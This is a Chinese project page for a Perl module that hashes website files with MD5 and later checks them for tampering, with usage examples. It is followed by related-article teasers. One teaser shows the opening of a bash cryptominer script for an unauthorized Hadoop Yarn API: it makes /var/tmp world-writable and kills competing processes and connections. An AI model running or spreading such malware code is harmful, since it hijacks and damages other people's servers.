网站防篡改验证模块 MD5sum

GPL
Perl
跨平台
2016-10-27
桔子

MD5sum

本软件是一个非常好用的WEB文件MD5生成和验证的模块。

站点所有文件的计算MD5值,并保存在一个文件中。然后以后可以手动或者crontab,监控程序等定期对保存文件中的文件生成md5值和已有的md5值对比,如果发现值对不上,则说明文件被篡改了。

使用说明:

1、初始化生成网站验证md5文件:

use MD5Check;
## 初始化目录md5值,参数为要监控的目录 
    my $mydir=shift;
    md5init($mydir);
保存为 init.pl
运行
perl init.pl /web >webmd5.20161027  既可以(/web为需要生成的的目录)或者
通过单行:
perl -MMD5Check -e 'md5init("/web")' >webmd5.20161027



2、进行网站md5验证:

use MD5Check; 
my $mydir=shift; 
md5check($mydir); 
保存为 check.pl
运行
perl check.pl webmd5.20161027  
或者通过单行:
perl -MMD5Check -e 'md5check("webmd5.20161027")'




的码云指数为
超过 的项目
加载中

评论(0)

暂无评论

暂无资讯

暂无问答

linux md5sum 的用法

MD5算法常常被用来验证网络文件传输的完整性,防止文件被人篡改。MD5全称是报文摘要算法(Message-Digest Algorithm 5),此算法对任意长度的信息逐位进行计算,产生一个二进制长度为128位(...

2012/02/07 15:09
11.3K
0
linux下使用md5sum递归生成整个目录的md5 [原创]

linux下使用md5sum递归生成整个目录的md5 今天要用md5sum操作目录,递归生成目录下所有文件的md5值,结果发现它不支持递归操作于是写了个php脚本处理下 代码: <?php $path ='/data/www/bbs/...

2016/09/21 11:47
26
0
Linux下文件完整性校验以及C代码的实现

1. Linux命令行下文件md5检验的方式: $ touch filename $ md5sum filename #计算文件的md5值 d41d8cd98f00b204e9800998ecf8427e filename $ md5sum filename > filename.md5 #将计算的md5值...

02/20 14:18
6
0
md5对比文件

1、简介   MD5算法常常被用来验证网络文件传输的完整性,防止文件被人篡改。MD5 全称是报文摘要算法(Message-Digest Algorithm 5),此算法对任意长度的信息逐位进行计算,产生一个二进制...

2015/10/22 18:00
413
1
2018/03/30

### March 30 2018 Friday Weather:suny 1、已知下面的字符是通过RANDOM随机数变量md5sum | cut -c 1-8 截取后的结果,请破解这些字符串对应的md5sum前的RANDOM数字? 21029299 00205d1c a3...

2018/03/30 15:44
3
0
Hadoop Yarn REST API未授权漏洞利用挖矿脚本

#!/bin/bash mkdir /var/tmp chmod 777 /var/tmp pkill -f getty netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 net...

2018/08/20 17:32
281
0
linux MD5

今天想生成一个字符串的MD5, shell中有一个md5sum命令,但是这个适合用来验证MD5,如果要生成字符串的MD5可以这样 echo -n ’123456′ | md5sum 这样不是很方便,so我写了个超简单的shell脚本...

2013/10/18 20:30
233
0
【shell】删除重复文件

#!/bin/bash #name:remove_one.sh #用途:查找并删除重复文件,每个文件只保留一个样本 #将文件依据大小排序并输出 ls -lS | awk 'BEGIN { #得到第一行total总数并丢弃,读取下一行 getline;...

2016/01/26 12:59
46
1

没有更多内容

加载失败,请刷新页面

返回顶部
顶部